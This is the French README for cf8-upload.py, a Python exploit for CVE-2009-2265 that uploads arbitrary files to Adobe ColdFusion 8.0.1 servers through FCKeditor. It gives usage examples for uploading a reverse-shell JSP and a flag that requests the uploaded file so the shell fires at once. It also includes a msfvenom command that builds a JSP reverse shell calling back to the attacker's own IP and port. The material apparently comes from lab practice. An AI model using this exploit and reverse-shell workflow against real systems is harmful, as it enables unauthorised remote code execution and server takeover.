
cf8-upload.py | CVE-2009-2265
un script python3 pour exploiter CVE-2009-2265.
le script exploite une vulnérabilité trouvée dans FCKeditor < 2.6.4.1 qui a été implémentée dans adobe coldfusion 8.0.1 :
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
le script permet à l'utilisateur de soumettre un fichier à téléverser vers un ordinateur cible
exécutant coldfusion 8.0.1 et de l'exécuter.
pip3 install requests
Après avoir identifié une cible exécutant adobe coldfusion 8.0.1, lancer avec :
chmod +x cf8-upload.py
./cf8-upload.py -h
ou
python3 cf8-upload.py -h
l'option -h ou --help montre comment exécuter le script avec quelques exemples. il y a deux arguments positionnels et quelques arguments optionnels.
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
./cf8-upload.py exploite une vulnérabilité LFI dans
adobe coldfusion 8.0.1
positional arguments:
address ip/hostname, port, sous-répertoires vers le serveur
adobe coldfusion 8.0.1
path chemin vers le fichier que vous souhaitez téléverser (ex.
'/chemin/vers/fichier.txt')
optional arguments:
-h, --help affiche ce message d'aide et quitte
-a, --accessible désactive les fonctionnalités pouvant affecter
négativement les lecteurs d'écran
-n, --no-colour supprime la sortie colorée
-r, --request effectue une requête sur la page web après avoir
téléversé le fichier avec succès
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /chemin/vers/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sous-rep /chemin/vers/upload.zip -n
adobe coldfusion utilise le port 8500 par défaut mais le chemin complet vers le serveur doit être spécifié lors de l'exécution du script.
une installation par défaut de coldfusion peut bien se trouver dans le répertoire racine sur le port 8500, auquel cas x.x.x.x:8500 suffira très probablement pour l'argument address lors de l'exécution du script.
cf8-upload.py par défaut, imprime en couleur et avec un formatage supplémentaire dans la sortie du terminal, mais cela n'est pas toujours utile pour ceux qui utilisent des lecteurs d'écran. utiliser l'argument --accessible désactivera le formatage sophistiqué et la couleur de la sortie terminal. il désactivera également l'art ascii.
ce drapeau fait exécuter au script une requête GET sur le fichier, et seulement après son téléversement réussi. cette option est utile si l'utilisateur téléverse un shell inversé d'une certaine forme vers l'application vulnérable et souhaite le déclencher immédiatement. le contenu de la requête GET n'est pas imprimé dans le terminal et sert uniquement à déclencher l'événement sur le serveur.
adobe coldfusion est capable de lire des fichiers .jsp, donc un shell inversé peut être créé dans msfvenom avec quelque chose d'aussi simple que :
msfvenom -p java/jsp_shell_reverse_tcp lhost=[mon ip] lport=[mon port d'écoute] -f raw > rshell.jsp
et téléversé :
./cf8-upload.py 10.10.10.10:8500 /chemin/vers/rshell.jsp -r
l'application adobe coldfusion 8.0.1 peut ne pas avoir la capacité d'écraser les fichiers existants qui sont téléversés avec le script d'exploitation. dans ce cas, téléverser un fichier différent avec le même nom qu'un fichier précédemment téléversé peut entraîner des timeouts pendant le processus de téléversement.
vous devrez peut-être renommer le fichier que vous souhaitez téléverser en quelque chose d'autre avant de tenter de le re-téléverser.
le script était principalement un exercice de création d'un programme court, complet, autonome pour un seul exploit, en gardant à l'esprit à la fois la lisibilité et l'accessibilité.
https://skerritt.blog/a11y/ - implémentation de l'accessibilité.